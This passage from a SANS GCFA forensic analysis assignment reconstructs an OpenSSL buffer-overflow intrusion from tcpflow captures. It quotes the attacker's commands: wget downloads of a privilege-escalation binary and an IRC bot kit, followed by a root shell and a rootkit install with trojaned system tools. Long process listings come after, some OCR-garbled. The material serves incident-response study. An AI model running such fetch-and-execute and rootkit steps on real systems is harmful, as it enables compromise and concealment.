| phone: | +XX 1 555 86 61 |
| phone: | +XX 1 555 35 23 |
| fax-no: | +XX 1 555 49 99 |
| nic-hdl: | BT17-RIPE |
| mnt-by: | BT17-RIPE-MNT |
| notify: | XXXXX@pcnet.ro |
| e-mail: | XXXXX@pcnet.ro |
| changed: | XXXXX@pcnet.ro 20011009 |
| source: | RIPE |
**Tcpflow Output – Buffer Overflow and Root Kit placements.**

The program tcpflow was used to dump the session data. The XXX.XXX.108.65:35054 => 192.168.2.14:443 are the commands that were sent and 92.168.2.14:443 => XXX.XXX.108.65:35054 are the results from the commands. The section below shows the two sessions combined. The lines that are bolded and italicized are from XXX.XXX.108.65:35054=>192.168.2.14:443. The session started at 14:57:44 through to 15:29:41.

```
wget XXX.XXX.com/eladoht/stuff/r;chmod +x r;
bash-2.05a$ --15:09:12-- http://XXX.XXX.com/eladoht/stuff/r
   => `r'
Resolving XXX.XXX.com... done.
Connecting to XXX.XXX.com[XXX.XXX.119.141]:80... connected.
HTTP request sent, awaiting response... 200 OK
Length: 19,916 [text/plain]
OK .......... ........ 100% 76.87 KB/s
15:09:13 (76.87 KB/s) - `r' saved [19916/19916]
./r
bash-2.05a$ [+] Attached to 19506
[+] Signal caught
[+] Shellcode placed at 0x4000fd1d
[+] Now wait for suid shell...
su
id
uid=0(root) gid=0(root) groups=0(root),1(bin),2(daemon),3(sys),4(adm),6(disk),10(wheel)
rm -rf r
is -al
```
Kevin Miller - Sans GCFA Assignment – v1.4

Length: 352,596 [application/x-tar]  

OK 0K .......... .......... .......... .......... .......... 14% 142.05 KB/s  
50K ............. .......... .......... .......... .......... .......... 29% 125.00 KB/s  
100K ............. .......... .......... .......... .......... .......... 43% 260.42 KB/s  
150K ............. .......... .......... .......... .......... .......... 58% 231.48 KB/s  
250K ............. .......... .......... .......... .......... .......... 87% 349.65 KB/s  
300K ............. .......... .......... .......... .......... .......... 100% 213.13 KB/s  

15:11:18 (195.87 KB/s) – s.tar.gz saved [352596/352596]  

tar -zxvf s.tar.gz; rm -rf s.tar.gz; cd .

ls -al  
total 39  
drwxrwxrwt 16 root root 1024 Jun 29 15:11 .  
drwxr-xr-x 19 root root 1024 Jun 23 11:59 ..  
drwxrwxrwt 2 root root 1024 Jun 23 12:18 .ICE-unix  
drwxr-xr-x 1 root root 11 Jun 23 12:00 .X0-lock  
drwxrwxrwt 2 root root 1024 Jun 23 12:00 .X11-unix  
drwxrwxrwt 2 xfs xfs 1024 Jun 23 12:00 .font-unix  
drxw------- 2 root root 1024 Jun 19 11:43 .kde  
drxw-r-xr-x 2 root root 1024 Jun 19 11:48 .mozilla  
drxw-rx-x 2 root root 1024 Jun 19 11:43 .qt  
-rw------- 1 root root 1024 Jun 20 02:17 .rnd  
drxw-r-xr-x 4 502 502 1024 Mar 24 21:41 .s  
-rw-r--r-- 1 root root 13417 Jun 20 10:17 .xftcache  
-rwxr-xr-x 1 root root 890 Jun 20 04:14 X-Test.log  
-rw-r--r-- 1 root root 4133 Jun 20 04:14 XF86Config.test  
drxw------- 2 useridl useridl 1024 Jun 23 12:18 kde-useridl  
drxw------- 2 root root 1024 Jun 20 10:55 kde-root  
drxw------- 2 useridl useridl 1024 Jun 26 16:40 ksocket-useridl  
drxw------- 2 root root 1024 Jun 23 11:55 ksocket-root  
drxw------- 3 useridl useridl 1024 Jun 23 12:18 mcp-useridl  
drxw------- 3 root root 1024 Jun 20 10:55 mcp-root  
-rw------- 1 root root 0 Jun 29 04:02 session_mm_apache0.sem  
drxw------- 2 root root 1024 Jun 20 05:20 texconf.Nzu100
At 15:09:40 two attempts are made to connect to the victim from IP XXX.XXX.119.81 to port 18. There is no service on port 18 so the connection is reset. A new series of sessions from IP address XXX.XXX.108.64 to 192.168.2.15 on port 443 are sent. This series is the Open SSL buffer overflow attack. The overflow gains access and we see the installation of the root kit in tcpflow sessions XXX.XXX.108.064.35089-192.168.002.15.001443 and 192.168.002.15.001443-XXX.XXX.108.064.35089. This session installed the rootkit from the directory /tmp/. This session started at 15:10:48 and completed at 15:15:18.

TERM=xterm; export TERM=xterm; exec bash -i

uname -a; id; w;
bash-2.05a$ Linux
\rhl 2.4.18-3 #1 Thu Apr 18 07:37:53 EDT 2002 i686 unknown
uid=48(apache) gid=48(apache) groups=48(apache)
3:20pm up 6 days, 3:22, 3 users, load average: 0.00, 0.00, 0.00
USER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT
user1 pts/0 - 23Jun03 6days 0.00s ? -
user1 pts/1 - 23Jun03 6days 0.21s 0.10s -bash
user1 pts/2 - Fri 8am 47:13m 0.49s 0.39s -bash

readline: warning: rl_prep_terminal: cannot get terminal settings
bash-2.05a$ cd /tmp
readline: warning: rl_prep_terminal: cannot get terminal settings
bash-2.05a$ wget XXX.XXX.com/eladoht/stuff/r; chmod +x r;
warning: rl_prep_terminal: cannot get terminal settings
bash-2.05a$ --15:21:42--
http://XXX.XXX.com/eladoht/stuff/r
Resolving XXX.XXX.com... done.
Connecting to XXX.XXX.com[XXX.XXX.119.141]:80... connected.
HTTP request sent, awaiting response... 200 OK
Length: 19,916 [text/plain]
OK .................
100% 76.87 KB/s
15:21:43 (76.87 KB/s) - `r' saved [19916/19916]

readline: warning: rl_prep_terminal: cannot get terminal settings
bash-2.05a$ ./r
Attached to 19602
[+] Signal caught
[+] Shellcode placed at 0x4000fd1d
[+] Now wait for suid shell...
su
rm -rf r

cd .s
./install

^[[0m^[1;30m^[[0m^[1;31m=^[[0m^[1;37mInstalling trojaned programs^[0m^[37m
^[[0m^[1;31m^[[0m^[1;30m^[[0m^[1;37mmps
^[[0m^[1;31m^[[0m^[1;30m^[[0m^[1;37mtop
^[[0m^[1;31m^[[0m^[1;30m^[[0m^[1;37mpstree
^[[0m^[1;31m^[[0m^[1;30m^[[0m^[1;37m *** failed ***^[[0m^[37m
Another session is established to load bot.tar.gz. The bot.tar.gz kit provides IRC access to the victim machine. This buffer overflow session is started at 15:18:22. The tcpflow sessions are XXX.XXX.108.064.35157-192.168.002.015.00443 and 192.168.002.015.00443-XXX.XXX.108.064.35157. This session installs the bot rootkit from the directory /tmp/.font-unix. This occurs after the buffer overflow. The session starts at 15:18:27 and completes at 15:30:03.

```
exec bash -i
uname -a; id; w;
bash: no job control in this shell
readline: warning: rl_prep_terminal: cannot get terminal settingsbash-2.05a$ readline: warning: rl_prep_terminal: cannot get terminal settingsbash-2.05a$ Linux rh1 2.4.18-3 #1 Thu Apr 18 07:37:53 EDT 2002 i686 unknown
uid=48(apache) gid=48(apache) groups=48(apache)
3:28pm up 6 days, 3:29, 3 users, load average: 0.00, 0.00, 0.00
USER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT
userid1 pts/0 - 23Jun03 6days 0.00s ? -
userid1 pts/1 - 23Jun03 6days 0.21s 0.10s -bash
userid1 pts/2 - Fri 8am 47:20m 0.49s 0.39s -bash
readline: warning: rl_prep_terminal: cannot get terminal settingsbash-2.05a$ cd /tmp
readline: warning: rl_prep_terminal: cannot get terminal settingsbash-2.05a$
ls -al
bash: [19893: 1] tcsetattr: Invalid argument
readline: warning: rl_prep_terminal: cannot get terminal settingsbash-2.05a$
dir -al
total 64
drwxr-xr-x 20 root root 1024 Jun 29 15:22 ..
-rwxr---r-- 1 root root 11 Jun 23 12:00 .X0-lock
drwxrwxrwt 2 root root 1024 Jun 23 12:00 .X11-unix
drwxrwxrwt 2 xfs xfs 1024 Jun 23 12:00 .font-unix
drwx------ 2 root root 1024 Jun 19 11:43 .kde
drwxr-xr-x 2 root root 1024 Jun 19 11:48 .mozilla
drwxr-xr-x 2 root root 1024 Jun 19 11:43 .gt
-rwx------ 1 root root 1024 Jun 20 02:17 .rnd
-rw-r--r-- 1 root root 13417 Jun 20 10:17 .xftcache
-rwxr-xr-x 1 root root 890 Jun 23 12:18 .Xrecon
-rwxr--r-- 1 root root 890 Jun 23 12:18 .Xrecon
-rwxr-xr-x 2 userdir1 userdir1 1024 Jun 23 12:18 .kde-userdir
-drwx------ 2 root root 4133 Jun 20 04:14 XF86Config.test
drwx------ 2 userdir1 userdir1 1024 Jun 23 12:18 .kde-userdir
-drwx------ 2 root root 1024 Jun 23 12:18 .kde-root
-drwx------ 3 userdir1 userdir1 1024 Jun 23 12:18 .kde-userdir
-drwx------ 3 root root 1024 Jun 23 12:18 .kde-root
-rwx------ 1 apache apache 24012 Jun 29 15:28 .
rwx------ 1 root root 0 Jun 29 04:02 session_mm_apache0.sem
drwx------ 2 root root 1024 Jun 20 02:20 texconf.Nzu1O0
```
readline: warning: rl_prep_terminal: cannot get terminal settings
bash: .
[19893: 1] tcsattr: Invalid argument
readline: warning: rl_prep_terminal: cannot get terminal settings
bash: cd font-unix
readline: warning: rl_prep_terminal: cannot get terminal settings
bash: wget XXX.XXX.com/eladoht/bot.tgz;tar -zxvf bot.tgz;rm -rf
bot.tgz;cd .X11-pipe;chmod +x inetd/services/inetd/services;
get terminal settingsbash-2.05a$ --15:31:46-- http://XXX.XXX.com/eladoht/bot.tgz
=> `bot.tgz'
Resolving XXX.XXX.com... done.
Connecting to XXX.XXX.com[XXX.XXX.119.141]:80... connected.
HTTP request sent, awaiting response... 404 Not Found
tar (child): bot.tgz: Cannot open: No such file or directory
tar (child): Error is not recoverable: exiting now
tar: Child returned status 2
tar: Error exit delayed from previous errors
bash: [19893: 1] tcsattr: Invalid argument
bash: cd: .X11-pipe: No such file or directory
chmod: getting attributes of `inetd/services': No such file or directory
bash: inetd/services: No such file or directory
bash: inetd/services: No such file or directory
wget XXX.XXX.com/eladoht/bot.tgz;tar -zxvf bot.tgz;rm -rf
bot.tgz;cd .X11-pipe;chmod +x inetd/services/inetd/services/inetd/services;
get terminal settingsbash-2.05a$ --15:32:45-- http://XXX.XXX.com/eladoht/bot.tgz
=> `bot.tgz'
Resolving XXX.XXX.com... done.
Connecting to XXX.XXX.com[XXX.XXX.119.141]:80... connected.
HTTP request sent, awaiting response... 200 OK
Length: 764,880 [application/x-tar]
  OK ................. ......................... .......... 6%  89.29 KB/s
  50K ................ ......................... ............. 13% 110.38 KB/s
  100K ................ ......................... ............. 20% 175.44 KB/s
  150K ................ ......................... ............. 26% 110.38 KB/s
  200K ................ ......................... ............. 33% 174.83 KB/s
  250K ................ ......................... ............. 40% 176.06 KB/s
  300K ................ ......................... ............. 46% 182.48 KB/s
  350K ................ ......................... ............. 53% 248.76 KB/s
  400K ................ ......................... ............. 60% 183.82 KB/s
  450K ................ ......................... ............. 66% 225.23 KB/s
  500K ................ ......................... ............. 73% 232.56 KB/s
  550K ................ ......................... ............. 80% 247.52 KB/s
  600K ................ ......................... ............. 87% 364.96 KB/s
  650K ................ ......................... ............. 93% 252.53 KB/s
  700K ................ ......................... ............. 100% 372.64 KB/s
15:32:50 (179.21 KB/s) - `bot.tgz' saved [764880/764880]

.X11-pipe/
.X11-pipe/COPYING
.X11-pipe/README
.X11-pipe/TODO
.X11-pipe/VERSIONS
.X11-pipe/Makefile
.X11-pipe/configure
.X11-pipe/mech.pid
.X11-pipe/ lpd.help
.X11-pipe/randfiles/
.X11-pipe/randfiles/randaway.e
.X11-pipe/randfiles/randinsult.e
bash: [19893: 1] tcsetattr: Invalid argument

ps

readline: warning: rl_prep_terminal: cannot get terminal settingsbash-2.05a$
readline: warning: rl_prep_terminal: cannot get terminal settingsbash-2.05a$

PID TTY TIME CMD
10606 ? 00:00:00 httpd
10607 ? 00:00:00 httpd
10608 ? 00:00:00 httpd
10609 ? 00:00:00 httpd
10610 ? 00:00:00 httpd

Kevin Miller - Sans GCFA Assignment – v1.4

```
10611 ? 00:00:00 httpd
10612 ? 00:00:00 httpd
10613 ? 00:00:00 httpd
19365 ? 00:00:00 httpd
19366 ? 00:00:00 httpd
19367 ? 00:00:00 httpd
19368 ? 00:00:00 httpd
19369 ? 00:00:00 httpd
19370 ? 00:00:00 httpd
19371 ? 00:00:00 httpd
19372 ? 00:00:00 httpd
19373 ? 00:00:00 httpd
19374 ? 00:00:00 httpd
19375 ? 00:00:00 httpd
19376 ? 00:00:00 httpd
19488 ? 00:00:00 bash
19504 ? 00:00:00 r
19505 ? 00:00:00 r <defunct>
19831 ? 00:00:00 ls
19832 ? 00:00:00 ls <defunct>
19834 ? 00:00:00 ls
19835 ? 00:00:00 ls <defunct>
19893 ? 00:00:00 bash
19905 ? 00:00:00 ls
19906 ? 00:00:00 ls <defunct>
19936 ? 00:00:00 services
19941 ? 00:00:00 ps
19943 ? 00:00:00 ps

ps ax

readline: warning: rl_prep_terminal: cannot get terminal settingsbash-2.05a$
```

```
PID TTY STAT TIME COMMAND
1 ? S 0:04 init
2 ? SW 0:00 [keventd]
3 ? SW 0:00 [kapmd]
4 ? SWN 0:00 [ksoftirqd_CPU0]
5 ? SW 0:02 [kswapd]
6 ? SW 0:00 [bdflush]
7 ? SW 0:00 [kudopdated]
8 ? SW 0:00 [mdrecoveryd]
12 ? SW 0:00 [kjournald]
91 ? SW 0:00 [khubd]
186 ? SW 0:00 [kjournald]
187 ? SW 0:00 [kjournald]
188 ? SW 0:00 [kjournald]
189 ? SW 0:00 [kjournald]
657 ? S 0:00 rpc.statd
770 ? S 0:00 /usr/sbin/apmd -p 10 -w 5 -W -P /etc/sysconfig/apm-sc
790 ? SL 0:01 ntpd -U ntp -g
842 ? S 0:01 /usr/sbin/sshd
875 ? S 0:00 xinetd -stayalive -reuse -pidfile /var/run/xinetd.pid
916 ? S 0:00 sendmail: accepting connections
935 ? S 0:00 gpm -t ps/2 -m /dev/mouse
953 ? S 0:00 cron
1005 ? S 0:03 xf86 -droppriv -daemon
1041 ? S 0:00 /usr/sbin/atd
1050 tty1 S 0:00 /sbin/mingetty tty1
1051 tty2 S 0:00 /sbin/mingetty tty2
1052 tty3 S 0:00 /sbin/mingetty tty3
1053 tty4 S 0:00 /sbin/mingetty tty4
1054 tty5 S 0:00 /sbin/mingetty tty5
1055 tty6 S 0:00 /sbin/mingetty tty6
1056 ? S 0:00 /usr/bin/kdm -nodemon
1066 ? S 671:43 /usr/X11R6/bin/X -auth /var/run/xauth/A:0-gkOEqz
1067 ? S 0:00 -i0
1091 ? S 0:00 /bin/sh /usr/bin/startkde
1175 ? S 0:00 kdeinit: Running...
1178 ? S 0:00 kdeinit: dcopserver --nosid
1181 ? S 0:00 kdeinit: klauncher
1183 ? S 5:52 kdeinit: kded
```
Kevin Miller - Sans GCFA Assignment – v1.4

Page 199

1192 7 S 0:02 /usr/bin/arts -f 10 -S 4096 -s 60 -m artsmessage -l
1203 7 S 0:02 kdelinit: knotify
1208 7 S 0:00 kwrapper kserver --restore
1210 7 S 0:00 kdelinit: kserver --restore
1211 7 S 0:09 kdelinit: kwin --session 117t0000010001561262930000008
1217 7 S 0:18 kdelinit: kicker
1219 7 S 0:35 autorun -l --interval=1000 --cdplayer=/usr/bin/kscd
1223 7 S 0:51 kdelinit: klipper -icon klipper -minicon klipper
1226 7 S 0:00 kdelinit: kwrited
1228 7 S 0:00 korgac --minicon korganizer
1230 7 S 0:00 kalarmd --login
1232 7 S 5:04 kdelinit: konsole --icon konsole --minicon konsole
1234 pts/1 S 0:00 /bin/bash
1266 pts/1 S 0:00 su -
1269 pts/1 S 0:00 -bash
6133 7 S 0:00 kdelinit: kcookiejar
6135 7 S 0:00 kdesud
7168 pts/2 S 0:12 kdelinit: konsole --icon konsole --minicon konsole
7170 pts/2 S 0:00 /bin/bash
7203 pts/2 S 0:00 su -
7206 pts/2 S 0:00 -bash
8125 7 S 0:01 /usr/sbin/httpd -DHAVE_ACCESS -DHAVE_PROXY -DHAVE_AUT
8180 7 S 0:00 [cm <defunct>]
10606 7 S 0:00 /usr/sbin/httpd -DHAVE_ACCESS -DHAVE_PROXY -DHAVE_AUT
10607 7 S 0:00 /usr/sbin/httpd -DHAVE_ACCESS -DHAVE_PROXY -DHAVE_AUT
10608 7 S 0:00 /usr/sbin/httpd -DHAVE_ACCESS -DHAVE_PROXY -DHAVE_AUT
10609 7 S 0:00 /usr/sbin/httpd -DHAVE_ACCESS -DHAVE_PROXY -DHAVE_AUT
10610 7 S 0:00 /usr/sbin/httpd -DHAVE_ACCESS -DHAVE_PROXY -DHAVE_AUT
10611 7 S 0:00 /usr/sbin/httpd -DHAVE_ACCESS -DHAVE_PROXY -DHAVE_AUT
10612 7 S 0:00 /usr/sbin/httpd -DHAVE_ACCESS -DHAVE_PROXY -DHAVE_AUT
10613 7 S 0:00 /usr/sbin/httpd -DHAVE_ACCESS -DHAVE_PROXY -DHAVE_AUT
19365 7 S 0:00 /usr/sbin/httpd -DHAVE_ACCESS -DHAVE_PROXY -DHAVE_AUT
19366 7 S 0:00 /usr/sbin/httpd -DHAVE_ACCESS -DHAVE_PROXY -DHAVE_AUT
19367 7 S 0:00 /usr/sbin/httpd -DHAVE_ACCESS -DHAVE_PROXY -DHAVE_AUT
19368 7 S 0:00 /usr/sbin/httpd -DHAVE_ACCESS -DHAVE_PROXY -DHAVE_AUT
19369 7 S 0:00 /usr/sbin/httpd -DHAVE_ACCESS -DHAVE_PROXY -DHAVE_AUT
19370 7 S 0:00 /usr/sbin/httpd -DHAVE_ACCESS -DHAVE_PROXY -DHAVE_AUT
19371 7 S 0:00 /usr/sbin/httpd -DHAVE_ACCESS -DHAVE_PROXY -DHAVE_AUT
19372 7 S 0:00 /usr/sbin/httpd -DHAVE_ACCESS -DHAVE_PROXY -DHAVE_AUT
19373 7 S 0:00 /usr/sbin/httpd -DHAVE_ACCESS -DHAVE_PROXY -DHAVE_AUT
19374 7 S 0:00 /usr/sbin/httpd -DHAVE_ACCESS -DHAVE_PROXY -DHAVE_AUT
19375 7 S 0:00 /usr/sbin/httpd -DHAVE_ACCESS -DHAVE_PROXY -DHAVE_AUT
19376 7 S 0:00 /usr/sbin/httpd -DHAVE_ACCESS -DHAVE_PROXY -DHAVE_AUT
19488 7 S 0:00 bash -l
19504 7 S 0:00 /r
19505 7 Z 0:00 [r <defunct>]
19507 7 S 0:00 /bin/sh
19508 7 S 0:00 su
19509 7 S 0:00 bash
19635 7 S 0:00 minilogo
19678 7 T 0:00 /usr/bin/weit
19665 7 S 0:00 popauth
19686 7 Z 0:00 [weit <defunct>]
19694 7 T 0:00 cp -f killall /usr/bin/
19697 7 Z 0:00 [cp <defunct>]
19701 7 T 0:00 cp -f find /usr/bin
19703 7 Z 0:00 [cp <defunct>]
19788 7 T 0:00 cp -f du /usr/bin
19792 7 Z 0:00 [cp <defunct>]
19796 7 T 0:00 chmod +s /usr/sbin/nfsd
19798 7 Z 0:00 [chmod <defunct>]
19801 7 T 0:00 cp -f sshd_conf /sbin
19802 7 Z 0:00 [cp <defunct>]
19806 7 T 0:00 cp -f xxh_h /sbin
19808 7 T 0:00 cp -f xxh_r /sbin
19810 7 T 0:00 /usr/sbin/nfsd -f /sbin/sshd_conf
19811 7 S 0:00 /usr/sbin/nfsd -f /sbin/sshd_conf
19813 7 Z 0:00 [cp <defunct>]
19814 7 Z 0:00 [cp <defunct>]
19815 7 Z 0:00 [nfsd <defunct>]
19831 7 T 0:00 ls -al
Kevin Miller - Sans GCFA Assignment – v1.4

19832 ? Z 0:00 [ls <defunct>]
19834 ? T 0:00 ls -al
19835 ? Z 0:00 [ls <defunct>]
19893 ? S 0:00 bash -l
19905 ? T 0:00 ls -al
19906 ? Z 0:00 [ls <defunct>]
19936 ? S 0:00 inetd/services
19941 ? S 0:00 inetd/services
19944 ? R 0:00 ps ax

killall -9 ls cp chmod

readline: warning: rl_prep_terminal: cannot get terminal settings
bash-2.05a$

(none)(19697): Operation not permitted
(none)(19701): Operation not permitted
(none)(19783): Operation not permitted
(none)(19801): Operation not permitted
(none)(19802): Operation not permitted
(none)(19808): Operation not permitted
(none)(19813): Operation not permitted
(none)(19814): Operation not permitted

cp: no process killed
chmod: no process killed

ps ax

readline: warning: rl_prep_terminal: cannot get terminal settings
bash-2.05a$

PID TTY STAT TIME COMMAND
1 ? S 0:04 init
2 ? SW 0:00 [keventd]
3 ? SW 0:00 [kapmd]
4 ? SWN 0:00 [kssoftirqd_CPU0]
5 ? SW 0:02 [kswapd]
6 ? SW 0:00 [bdfflush]
7 ? SW 0:00 [kupdated]
8 ? SW 0:00 [mdrecoveryd]
12 ? SW 0:00 [kjournald]
91 ? SW 0:00 [khud]
186 ? SW 0:00 [kjournald]
187 ? SW 0:00 [kjournald]
188 ? SW 0:00 [kjournald]
189 ? SW 0:00 [kjournald]
657 ? S 0:00 rpc.statd
770 ? S 0:00 /usr/sbin/apmd -p 10 -w 5 -W -P /etc/sysconfig/apm-sc
790 ? SL 0:01 ntpd -0 ntp -g
8462 ? S 0:01 /usr/sbin/shd
875 ? S 0:00 xinetd -stayalive -reuse -pidfile /var/run/xinetd.pid
916 ? S 0:00 sendmail: accepting connections
935 ? S 0:00 gpm -t ps/2 -m /dev/mouse
953 ? S 0:00 cron
1005 ? S 0:03 xfs -droppriv -daemon
1041 ? S 0:00 /usr/sbin/atd
1050 tty1 S 0:00 /sbin/mingetty tty1
1051 tty2 S 0:00 /sbin/mingetty tty2
1052 tty3 S 0:00 /sbin/mingetty tty3
1053 tty4 S 0:00 /sbin/mingetty tty4
1054 tty5 S 0:00 /sbin/mingetty tty5
1055 tty6 S 0:00 /sbin/mingetty tty6
1056 ? S 0:00 /usr/bin/kdm --nodaemon
1066 ? S 671:43 /usr/X11R6/bin/X -auth /var/run/xauth/A:0-gkOeqz
1067 ? S 0:00 -0
1091 ? S 0:00 /bin/sh /usr/bin/startkde
1175 ? S 0:00 kdeinit: Running...
1179 ? S 0:00 kdeinit: dcopserver --nosid
1181 ? S 0:00 kdeinit: klauncher
1183 ? S 5:52 kdeinit: kded
1192 ? S 0:02 /usr/bin/artsd -F 10 -S 4096 -s 60 -m artsmessage -l
<table>
<thead>
<tr>
<th>PID</th>
<th>User</th>
<th>Time</th>
<th>Command</th>
</tr>
</thead>
<tbody>
<tr>
<td>1203</td>
<td>S</td>
<td>0:02</td>
<td>kdeinit: knotify</td>
</tr>
<tr>
<td>1208</td>
<td>S</td>
<td>0:00</td>
<td>kwrapper ksmserver --restore</td>
</tr>
<tr>
<td>1210</td>
<td>S</td>
<td>0:00</td>
<td>kdeinit: ksmserver --restore</td>
</tr>
<tr>
<td>1211</td>
<td>S</td>
<td>0:09</td>
<td>kdeinit: kwin -session 117600000100010561269300000008</td>
</tr>
<tr>
<td>1217</td>
<td>S</td>
<td>0:18</td>
<td>kdeinit: kicker</td>
</tr>
<tr>
<td>1219</td>
<td>S</td>
<td>0:35</td>
<td>autorun -l --interval=1000 --cdplayer=/usr/bin/kscd</td>
</tr>
<tr>
<td>1223</td>
<td>S</td>
<td>0:51</td>
<td>kdeinit: klipper -icon klipper -minicon klipper</td>
</tr>
<tr>
<td>1226</td>
<td>S</td>
<td>0:00</td>
<td>kdeinit: kwritten</td>
</tr>
<tr>
<td>1228</td>
<td>S</td>
<td>0:00</td>
<td>korgac --minicon korganizer</td>
</tr>
<tr>
<td>1230</td>
<td>S</td>
<td>0:00</td>
<td>kalarmd --login</td>
</tr>
<tr>
<td>1232</td>
<td>S</td>
<td>5:04</td>
<td>kdeinit: konsole -icon konsole -minicon konsole</td>
</tr>
<tr>
<td>1234</td>
<td>pts/1</td>
<td>0:00</td>
<td>/bin/bash</td>
</tr>
<tr>
<td>1266</td>
<td>pts/1</td>
<td>0:00</td>
<td>su</td>
</tr>
<tr>
<td>1269</td>
<td>pts/1</td>
<td>0:00</td>
<td>-bash</td>
</tr>
<tr>
<td>6133</td>
<td>S</td>
<td>0:00</td>
<td>kdeinit: kcookiejar</td>
</tr>
<tr>
<td>6135</td>
<td>S</td>
<td>0:00</td>
<td>kdesud</td>
</tr>
<tr>
<td>7168</td>
<td>S</td>
<td>0:12</td>
<td>kdeinit: konsole -icon konsole -minicon konsole</td>
</tr>
<tr>
<td>7170</td>
<td>pts/2</td>
<td>0:00</td>
<td>/bin/bash</td>
</tr>
<tr>
<td>7206</td>
<td>pts/2</td>
<td>0:00</td>
<td>-</td>
</tr>
<tr>
<td>7206</td>
<td>pts/2</td>
<td>0:00</td>
<td>-</td>
</tr>
<tr>
<td>8125</td>
<td>S</td>
<td>0:01</td>
<td>/usr/sbin/httpd -DHAVE_ACCESS -DHAVE_PROXY -DHAVE_AUT</td>
</tr>
<tr>
<td>8154</td>
<td>S</td>
<td>0:00</td>
<td>/usr/sbin/snmpd -a -l /dev/null -P /var/run/snmpd -a</td>
</tr>
<tr>
<td>10606</td>
<td>S</td>
<td>0:00</td>
<td>cp -f xxh_h /sbin</td>
</tr>
<tr>
<td>10607</td>
<td>S</td>
<td>0:00</td>
<td>/usr/sbin/httpd -DHAVE_ACCESS -DHAVE_PROXY -DHAVE_AUT</td>
</tr>
<tr>
<td>10608</td>
<td>S</td>
<td>0:00</td>
<td>/usr/sbin/httpd -DHAVE_ACCESS -DHAVE_PROXY -DHAVE_AUT</td>
</tr>
<tr>
<td>10609</td>
<td>S</td>
<td>0:00</td>
<td>/usr/sbin/httpd -DHAVE_ACCESS -DHAVE_PROXY -DHAVE_AUT</td>
</tr>
<tr>
<td>10610</td>
<td>S</td>
<td>0:00</td>
<td>/usr/sbin/httpd -DHAVE_ACCESS -DHAVE_PROXY -DHAVE_AUT</td>
</tr>
<tr>
<td>10611</td>
<td>S</td>
<td>0:00</td>
<td>/usr/sbin/httpd -DHAVE_ACCESS -DHAVE_PROXY -DHAVE_AUT</td>
</tr>
<tr>
<td>10612</td>
<td>S</td>
<td>0:00</td>
<td>/usr/sbin/httpd -DHAVE_ACCESS -DHAVE_PROXY -DHAVE_AUT</td>
</tr>
<tr>
<td>10613</td>
<td>S</td>
<td>0:00</td>
<td>/usr/sbin/httpd -DHAVE_ACCESS -DHAVE_PROXY -DHAVE_AUT</td>
</tr>
<tr>
<td>19365</td>
<td>S</td>
<td>0:00</td>
<td>/usr/sbin/httpd -DHAVE_ACCESS -DHAVE_PROXY -DHAVE_AUT</td>
</tr>
<tr>
<td>19366</td>
<td>S</td>
<td>0:00</td>
<td>/usr/sbin/httpd -DHAVE_ACCESS -DHAVE_PROXY -DHAVE_AUT</td>
</tr>
<tr>
<td>19367</td>
<td>S</td>
<td>0:00</td>
<td>/usr/sbin/httpd -DHAVE_ACCESS -DHAVE_PROXY -DHAVE_AUT</td>
</tr>
<tr>
<td>19368</td>
<td>S</td>
<td>0:00</td>
<td>/usr/sbin/httpd -DHAVE_ACCESS -DHAVE_PROXY -DHAVE_AUT</td>
</tr>
<tr>
<td>19369</td>
<td>S</td>
<td>0:00</td>
<td>/usr/sbin/httpd -DHAVE_ACCESS -DHAVE_PROXY -DHAVE_AUT</td>
</tr>
<tr>
<td>19370</td>
<td>S</td>
<td>0:00</td>
<td>/usr/sbin/httpd -DHAVE_ACCESS -DHAVE_PROXY -DHAVE_AUT</td>
</tr>
<tr>
<td>19371</td>
<td>S</td>
<td>0:00</td>
<td>/usr/sbin/httpd -DHAVE_ACCESS -DHAVE_PROXY -DHAVE_AUT</td>
</tr>
<tr>
<td>19372</td>
<td>S</td>
<td>0:00</td>
<td>/usr/sbin/httpd -DHAVE_ACCESS -DHAVE_PROXY -DHAVE_AUT</td>
</tr>
<tr>
<td>19373</td>
<td>S</td>
<td>0:00</td>
<td>/usr/sbin/httpd -DHAVE_ACCESS -DHAVE_PROXY -DHAVE_AUT</td>
</tr>
<tr>
<td>19374</td>
<td>S</td>
<td>0:00</td>
<td>/usr/sbin/httpd -DHAVE_ACCESS -DHAVE_PROXY -DHAVE_AUT</td>
</tr>
<tr>
<td>19375</td>
<td>S</td>
<td>0:00</td>
<td>/usr/sbin/httpd -DHAVE_ACCESS -DHAVE_PROXY -DHAVE_AUT</td>
</tr>
<tr>
<td>19376</td>
<td>S</td>
<td>0:00</td>
<td>/usr/sbin/httpd -DHAVE_ACCESS -DHAVE_PROXY -DHAVE_AUT</td>
</tr>
<tr>
<td>19488</td>
<td>S</td>
<td>0:00</td>
<td>bash -i</td>
</tr>
<tr>
<td>19504</td>
<td>S</td>
<td>0:00</td>
<td>.r</td>
</tr>
<tr>
<td>19505</td>
<td>Z</td>
<td>0:00</td>
<td>[r &lt;defunct&gt;]</td>
</tr>
<tr>
<td>19507</td>
<td>S</td>
<td>0:00</td>
<td>/bin/sh</td>
</tr>
<tr>
<td>19508</td>
<td>S</td>
<td>0:00</td>
<td>su</td>
</tr>
<tr>
<td>19509</td>
<td>S</td>
<td>0:00</td>
<td>bash</td>
</tr>
<tr>
<td>19635</td>
<td>S</td>
<td>0:00</td>
<td>minilogd</td>
</tr>
<tr>
<td>19678</td>
<td>T</td>
<td>0:00</td>
<td>/usr/bin/weit</td>
</tr>
<tr>
<td>19685</td>
<td>S</td>
<td>0:00</td>
<td>popauth</td>
</tr>
<tr>
<td>19686</td>
<td>Z</td>
<td>0:00</td>
<td>[weit &lt;defunct&gt;]</td>
</tr>
<tr>
<td>19694</td>
<td>T</td>
<td>0:00</td>
<td>cp -f killall /usr/bin/</td>
</tr>
<tr>
<td>19697</td>
<td>Z</td>
<td>0:00</td>
<td>[cp &lt;defunct&gt;]</td>
</tr>
<tr>
<td>19701</td>
<td>T</td>
<td>0:00</td>
<td>cp -f find /usr/bin/</td>
</tr>
<tr>
<td>19703</td>
<td>Z</td>
<td>0:00</td>
<td>[cp &lt;defunct&gt;]</td>
</tr>
<tr>
<td>19703</td>
<td>Z</td>
<td>0:00</td>
<td>[cp &lt;defunct&gt;]</td>
</tr>
<tr>
<td>19783</td>
<td>T</td>
<td>0:00</td>
<td>cp -f du /usr/bin/</td>
</tr>
<tr>
<td>19792</td>
<td>Z</td>
<td>0:00</td>
<td>[cp &lt;defunct&gt;]</td>
</tr>
<tr>
<td>19796</td>
<td>T</td>
